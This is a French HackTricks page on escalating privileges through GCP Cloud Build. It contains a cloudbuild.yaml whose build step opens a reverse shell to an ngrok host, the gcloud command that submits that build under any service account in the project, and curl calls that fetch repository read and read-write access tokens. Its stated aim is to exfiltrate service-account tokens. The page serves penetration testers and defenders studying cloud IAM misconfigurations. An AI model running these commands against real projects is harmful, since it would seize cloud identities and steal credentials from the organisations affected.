GCP - Cloudbuild Privesc

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

cloudbuild

Pour plus d’informations sur Cloud Build, consultez :

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Avec cette permission, vous pouvez soumettre un cloud build. La machine cloudbuild aura dans son système de fichiers par défaut un token du Service Account cloudbuild : <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Cependant, vous pouvez indiquer n’importe quel service account à l’intérieur du projet dans la configuration cloudbuild.
Par conséquent, vous pouvez simplement faire en sorte que la machine exfiltrate vers votre serveur le token ou obtenir un reverse shell à l’intérieur et récupérer le token (le fichier contenant le token peut changer).

Direct exploitation via gcloud CLI

1- Créez cloudbuild.yaml et modifiez-le avec les données de votre listener

Configuration YAML Cloud Build pour reverse shell ```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```

2- Téléversez une build simple sans source, le fichier yaml et spécifiez le SA à utiliser pour la build :

Soumettre une Cloud Build avec le service account spécifié ```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com ```

Utilisation de la bibliothèque python gcloud

Vous pouvez trouver le script d’exploit original here on GitHub (mais l’emplacement depuis lequel il récupère le token n’a pas fonctionné pour moi). Consultez donc un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour obtenir une reverse shell à l’intérieur de la machine cloudbuild et steal it here (dans le code vous pouvez trouver comment spécifier d’autres service accounts).

Pour une explication plus approfondie, consultez https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

Avec cette permission, l’utilisateur peut obtenir le read access token utilisé pour accéder au dépôt :

Obtenir le read access token pour le dépôt ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken" ```

cloudbuild.repositories.accessReadWriteToken

Avec cette permission, l’utilisateur peut obtenir le jeton d’accès en lecture et écriture utilisé pour accéder au dépôt:

Obtenir le jeton d'accès en lecture et écriture pour le dépôt ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken" ```

cloudbuild.connections.fetchLinkableRepositories

Avec cette permission, vous pouvez obtenir les repos auxquels la connection a accès :

Récupérer les dépôts pouvant être liés ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories" ```

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks